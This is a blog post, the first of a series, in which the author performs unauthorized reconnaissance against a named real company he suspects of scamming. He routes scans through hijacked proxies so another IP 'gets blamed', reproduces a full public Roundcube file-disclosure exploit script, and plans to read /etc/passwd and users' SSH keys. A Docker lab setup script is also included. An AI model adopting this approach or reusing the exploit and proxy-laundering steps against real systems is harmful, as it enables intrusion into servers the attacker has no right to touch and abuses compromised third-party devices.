Attacking Russian scam website (Part I)

Attacking Russian scam website (Part I)

I know a guy who lives in the U.S., and he told me that he received a suspicious email from Russians. They offered him a job, but he had to fill out a form that asked for personal details. They said the information would be processed in Russia. Of course, he didn’t give them anything. The thing is, I got interested, so now I have to try to attack their infrastructure because we think they’re scammers.

target: performia.com

Enumeration process

The first thing I do is collect information about the target — as much as POSSIBLE. First of all, I performed a DNS scan to identify subdomains.

1
dnsmap performia.com > dnsmap.output

This outputs discovered DNS records to the dnsmap.output file. After that, I’m going to look for open ports on interesting subdomains.

There is a difference between passive and active enumeration. Passive scanning is when you’re not touching the target directly. For example, querying DNS records wouldn’t be considered active enumeration because we’re not touching the target’s infrastructure directly — the tool just asks DNS servers for records.

Active scanning (enumeration), on the other hand, would be port scanning. After this process is done, I’m going to look for interesting subdomains and perform port scans on them using the nmap tool.

I hope there won’t be any complex CMSs (Content Management Systems) or WAFs (Web Application Firewalls), because I don’t want to mess around with CMS systems that don’t have public exploits available — mostly a waste of time and not worth it. Also, I don’t want them to have a WAF because then I’ll have to be more careful. If I get caught by a WAF, their Blue Team will receive an alert and most likely my IP address will get blocked.

Of course, I can change my IP address any time I want (with free proxies available), but I don’t want to use them.

This is the output of dnsmap command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
dnsmap 0.36 - DNS Network Mapper

[+] searching (sub)domains for performia.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

au.performia.com
IP address #1: 81.29.209.53

beta.performia.com
IP address #1: 81.29.209.53

cn.performia.com
IP address #1: 113.10.239.94

co.performia.com
IP address #1: 81.29.209.53

em.performia.com
IP address #1: 3.79.130.38
IP address #2: 46.51.200.92
IP address #3: 54.216.50.79
IP address #4: 18.158.228.216

ftp.performia.com
IP address #1: 81.29.209.52

helpdesk.performia.com
IP address #1: 204.141.32.74

is.performia.com
IP address #1: 81.29.209.53

localhost.performia.com
IP address #1: 127.0.0.1
[+] warning: domain might be vulnerable to "same site" scripting (https://seclists.org/bugtraq/2008/Jan/270)

mail.performia.com
IP address #1: 81.29.209.52

ru.performia.com
IP address #1: 141.105.66.159

server.performia.com
IP address #1: 81.29.209.53

staging.performia.com
IP address #1: 81.29.209.53

test.performia.com
IP address #1: 81.29.209.53

web.performia.com
IP address #1: 81.29.209.53

webmail.performia.com
IP address #1: 81.29.209.52

wt.performia.com
IP address #1: 113.10.239.94

www.performia.com
IP address #1: 81.29.209.52

[+] 18 (sub)domains and 21 IP address(es) found
[+] completion time: 728 second(s)

There are many interesting subdomains. Also, I have to say they are using many different IP addresses from different IP ranges.

IP range IP addresses
81.29.209.32/27 81.29.209.53, 81.29.209.52
113.10.239.0/24 113.10.239.94
3.64.0.0/12 3.79.130.38
46.51.192.0/20 46.51.200.92
54.216.0.0/15 54.216.50.79
18.156.0.0/14 18.158.228.216
204.141.32.0/23 204.141.32.74
141.105.66.0/24 141.105.66.159
This table shows everything. Some of the addresses are from Russia, Germany, the U.S., etc. Of course, I’m not going to touch IP addresses that are located in the U.S. and Europe (it depends; sometimes I can touch European networks if they have interesting content).

Let’s start by looking for more information on webmail.performia.com. I can use wig to get more information about their web interface:

1
wig https://webmail.performia.com > wig.output

This will give me information about the web interface, like what CMS is being used, which webserver is hosting the service, which languages are used, and so on.

Most data comes from analyzing files’ content that are received from the server during requests. In some cases, response headers are analyzed too (for example, to find out which webserver is being used or which PHP version is installed on the server — wig will check response headers for that data).

This is the output of the wig command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wig - WebApp Information Gatherer


Scanning https://webmail.performia.com...
__________________________________________________ SITE INFO ___________________________________________________
IP Title
81.29.209.52 Performia WebMail :: Welcome to Performia WebMail

___________________________________________________ VERSION ____________________________________________________
Name Versions Type
Roundcube 1.2-beta CMS
phpMyAdmin CMS
Apache 2.4.10 | 2.4.11 | 2.4.12 | 2.4.5 | 2.4.6 | 2.4.7 | 2.4.8 Platform
2.4.9
PHP 7.4.33 Platform

__________________________________________________ SUBDOMAINS __________________________________________________
Name Page Title IP
https://webmail.performia.com:443 Performia WebMail :: Welcome to Performia WebMail 81.29.209.52
http://webmail.performia.com:80 Performia WebMail :: Welcome to Performia WebMail 81.29.209.52

_________________________________________________ INTERESTING __________________________________________________
URL Note Type
/robots.txt robots.txt index Interesting

________________________________________________________________________________________________________________
Time: 147.0 sec Urls: 454 Fingerprints: 39241

Alright. Now I know they have Roundcube webmail (service version 1.2-beta) and phpMyAdmin for administrative tasks (managing the SQL DB and related stuff). I suppose they have a MySQL database or MariaDB. I also checked robots.txt but there is nothing interesting there.

Alright. Now I can try several things:

  • Try to brute-force directories to find more interesting files/directories on the server.
  • Search for public exploits for Roundcube 1.2-beta — but they have to be RCE, either authenticated or unauthenticated.
  • Try to find the phpMyAdmin dashboard and look for exploits for that. Maybe an authentication bypass or something.

Before I do any of those, I need to discuss several things:

  • First of all, I don’t have to brute-force directories/files because I already know the CMS and its version, so I can just Google its file structure or even ask ChatGPT for a faster answer.
  • If I don’t find any interesting exploits for Roundcube, I’ll have to develop one.
  • If I don’t find any interesting exploits for phpMyAdmin, I’ll have to create one.

Alright. There are two potential problems. Developing an exploit takes too much time because, first of all, I have to set up a lab with the exact same tech stack and then I need to penetration-test everything. I will have to do a code audit and manual testing (even automatic fuzzing for some quick output). All of this sounds cool and fun, but trust me, most of the time it’s not.

For example, when I was trying to find an exploit for one binary, I left a fuzzing tool running for multiple hours just to get something interesting. That “something” wasn’t even a big deal — it was just a little bit better than other information.

Also, before I touch anything, I’ll have to identify a firewall. I’m not going to use my IP address for that, because most of the tools just try to send malicious payloads like XSS/SQLi/SSRF/LFI/RFI and test if the request gets blocked. I don’t want to get blocked. I want to take over the server. Is that too much to ASK????

Proxies are my friends. There are hackers who exploit routers and other publicly available weak devices and create ProxyGen-Bolt proxies. I can freely use those HTTP proxies to hide my real IP address. This means, if I do this:

1
wget -e use_proxy=yes -e http_proxy=http://49.44.254.213 http://webmail.performia.com --no-check-certificate

I’ll get the index.html file. The output was actually saved to disk:

1
2
3
4
5
6
7
8
9
10
11
12
--2025-11-05 15:07:03--  http://webmail.performia.com/
Connecting to 49.44.254.213:80... connected.
Proxy request sent, awaiting response... 301 Moved Permanently
Location: https://webmail.performia.com/?absolute_url_processed=1 [following]
--2025-11-05 15:07:04-- https://webmail.performia.com/?absolute_url_processed=1
Resolving webmail.performia.com (webmail.performia.com)... 81.29.209.52
Connecting to webmail.performia.com (webmail.performia.com)|81.29.209.52|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘index.html’

index.html [ <=> ] 5.45K --.-KB/s in 0.001s

Alright — now I can use proxychains to create a proxy for the wafw00f tool. This means I will be able to redirect wafw00f‘s traffic through the 49.44.254.213 HTTP proxy, and that IP will get blamed for the malicious action instead of me!!! BoOooOoooOo HaHaHaHaHaaaaaaa.

BTW, I got that IP from Shodan. I know how to find my precious ProxyGen-Bolt proxies!

Let’s run the command:

1
proxychains4 wafw00f https://webmail.performia.com

I got the output, but the problem is that I get denied from proxychains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\\

~ WAFW00F : v2.3.1 ~
The Web Application Firewall Fingerprinting Toolkit

[*] Checking https://webmail.performia.com
[proxychains] Strict chain ... 49.44.254.213:80 ... webmail.performia.com:443 <--denied
ERROR:wafw00f:Something went wrong HTTPSConnectionPool(host='webmail.performia.com', port=443): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f1c58bae900>: Failed to establish a new connection: [Errno 111] Connection refused'))
ERROR:wafw00f:Site webmail.performia.com appears to be down

This might mean there is some kind of firewall in front of webmail.performia.com. I downloaded the Roundcube 1.2-beta source code to start fuzzing locally. This will give me a chance to find an exploit that’s worth trying on the real target. The thing is, on exploit-db there is only one exploit for this version. It’s a file disclosure, but I have to be authenticated. If I manage to bypass authentication, I’ll be able to perform file disclosures. Here is the PoC for this exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Exploit Title: Roundcube Webmail 1.2 - File Disclosure
# Date: 09-11-2017
# Exploit Author: stonepresto
# Vendor Homepage: https://roundcube.net/
# Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/
# Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2
# Tested on: roundcube version 1.2-beta
# CVE : CVE-2017-16651

#!/usr/bin/env python3
# Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1
# https://github.com/stonepresto/CVE-2017-16651
# Exploit Author: stonepresto

import requests
import re
import sys

URL="https://127.0.0.1/"
USER="user@example.com"
PASS="password"

def main():
s = requests.Session()
r = s.get(URL,params={"_task":"login"},verify=False)
token = None
for line in r.text.split("\n"):
if 'name="_token"' in line:
token = line.split("value=")[1].split('"')[1]
print("[+] token: %s" % token)
if token is None:
print("[!] unable to retrieve token")
sys.exit(1)

data = {
"_token":token,
"_task":"login",
"_action":"login",
"_timezone[files][1][path]":sys.argv[1],
"_url":"_task%3Dlogin",
"_user":USER,
"_pass":PASS
}
r = s.post(URL,params={"_task":"login"},data=data,verify=False)

params = {
"_task":"settings",
"_action":"upload-display",
"_from":"timezone",
"_file":"rcmfile1"
}

r = s.get(URL,params=params,verify=False)
print(r.text)

if __name__ == "__main__":
if len(sys.argv) != 2:
print("[!] Usage: %s <file-to-read>" % sys.argv[0])
else:
main()

Ok. The USER and PASS constants indicate the exploit requires authentication. After I obtain a user and its password, I can read /etc/passwd to obtain users and then try to read SSH keys from users’ home directories. This is going to be the main plan against this target for now.

Problems with Docker

Ok. Honesty is the key to nothing, but this time I’ll be honest about Dockers… I obtained a setup.sh file for roundcube 1.2-beta, but the thing is that when I try to open the web UI in the browser, it resets the connection. Even curl and wget fail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#!/bin/bash
set -euo pipefail

WORKDIR="$(pwd)/RoundCube"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

echo "🧩 Starting Roundcube lab setup in: $WORKDIR"

# --- Download Roundcube 1.2-beta ---
if [ ! -d "roundcube-1.2-beta" ]; then
echo "⬇️ Downloading Roundcube 1.2-beta..."
wget -q https://github.com/roundcube/roundcubemail/archive/refs/tags/1.2-beta.zip -O roundcube.zip
unzip -q roundcube.zip
mv roundcubemail-1.2-beta roundcube-1.2-beta
rm -f roundcube.zip
fi

# --- Generate DES key ---
DES_KEY=$(openssl rand -base64 24)
echo "🔑 Generated DES key: $DES_KEY"

# --- docker-compose.yml ---
cat > docker-compose.yml <<'EOF'
version: "3.8"

services:
db:
image: mariadb:10.5
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: roundcube
MYSQL_USER: roundcube
MYSQL_PASSWORD: roundcube
volumes:
- db_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
interval: 5s
timeout: 5s
retries: 10

dovecot:
build: ./dovecot
restart: always
ports:
- "143:143"
volumes:
- mail_data:/var/mail

roundcube:
build: ./roundcube
restart: always
ports:
- "8080:80"
depends_on:
db:
condition: service_healthy
dovecot:
condition: service_started
volumes:
- ./roundcube-1.2-beta:/var/www/html
- roundcube_config:/var/www/html/config

volumes:
db_data:
mail_data:
roundcube_config:
EOF

echo "✅ Wrote docker-compose.yml"

# --- Dovecot Dockerfile ---
mkdir -p dovecot
cat > dovecot/Dockerfile <<'EOF'
FROM alpine:3.18
RUN apk add --no-cache dovecot openssl

# Create test user & mail dir
RUN adduser -D -u 1000 -G mail -h /home/testuser -s /sbin/nologin testuser && \
mkdir -p /var/mail/testuser && chown -R testuser:mail /var/mail /home/testuser

COPY dovecot.conf /etc/dovecot/dovecot.conf
COPY users /etc/dovecot/users

EXPOSE 143
CMD ["dovecot", "-F"]
EOF

# --- Dovecot config ---
cat > dovecot/dovecot.conf <<'EOF'
disable_plaintext_auth = no
mail_location = maildir:/var/mail/%n

userdb {
driver = passwd
}

passdb {
driver = passwd-file
args = /etc/dovecot/users
}

protocols = imap

service imap-login {
inet_listener imap {
port = 143
}
}
EOF

cat > dovecot/users <<'EOF'
testuser:{PLAIN}password
EOF

echo "✅ Wrote Dovecot config"

# --- Roundcube Dockerfile ---
mkdir -p roundcube
cat > roundcube/Dockerfile <<'EOF'
FROM php:8.1-apache

# Install dependencies & IMAP libraries
RUN apt-get update && apt-get install -y --no-install-recommends \
git unzip libicu-dev libxml2-dev libzip-dev libpng-dev libjpeg-dev libfreetype6-dev \
libssl-dev libkrb5-dev libonig-dev ca-certificates wget mariadb-client libc-client2007e-dev \
&& rm -rf /var/lib/apt/lists/*

# PHP extensions
RUN docker-php-ext-configure imap --with-kerberos --with-imap-ssl && \
docker-php-ext-install imap intl xml zip gd pdo_mysql mbstring opcache

# Apache mods
RUN a2enmod rewrite headers

# Entrypoint
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]
CMD ["apache2-foreground"]
EOF

# --- Roundcube Entrypoint ---
cat > roundcube/entrypoint.sh <<EOF
#!/bin/bash
set -euo pipefail

# Wait for MariaDB
host="db"
port=3306
echo "⏳ Waiting for MariaDB at \$host:\$port..."
for i in \$(seq 1 30); do
if nc -z "\$host" "\$port" >/dev/null 2>&1; then
echo "✅ MariaDB reachable"
break
fi
sleep 1
done

cd /var/www/html

# Create config if missing
if [ ! -f config/config.inc.php ]; then
mkdir -p config
cat > config/config.inc.php <<CFG
<?php
\$config = array();
\$config['db_dsnw'] = 'mysql://roundcube:roundcube@db/roundcube';
\$config['default_host'] = 'dovecot';
\$config['smtp_server'] = 'dovecot';
\$config['des_key'] = '$DES_KEY';
\$config['plugins'] = array('archive', 'zipdownload');
\$config['memory_limit'] = '256M';
\$config['enable_installer'] = false;
CFG
fi

# Import DB schema if empty
if [ \$(mysql -h db -u roundcube -proundcube -D roundcube -e "SHOW TABLES;" | wc -l) -eq 0 ]; then
echo "⬇️ Importing Roundcube DB schema..."
mysql -h db -u roundcube -proundcube roundcube < SQL/mysql.initial.sql
fi

# Set permissions
chown -R www-data:www-data /var/www/html
chmod -R g+rw /var/www/html/config || true

exec "\$@"
EOF

echo "✅ Roundcube Dockerfile & entrypoint ready"

# --- Build & run containers ---
echo "🚀 Building and starting containers..."
docker compose down -v >/dev/null 2>&1 || true
docker compose up -d --build

echo ""
echo "✅ Roundcube lab is running!"
echo "🌐 Webmail: http://localhost:8080"
echo "📧 IMAP: localhost:143"
echo "👤 User: testuser"
echo "🔑 Pass: password"

This means there won’t be any fuzzing locally. Things got worse. I have to fuzz a live server that’s probably standing behind some kind of WAF… (To be continued)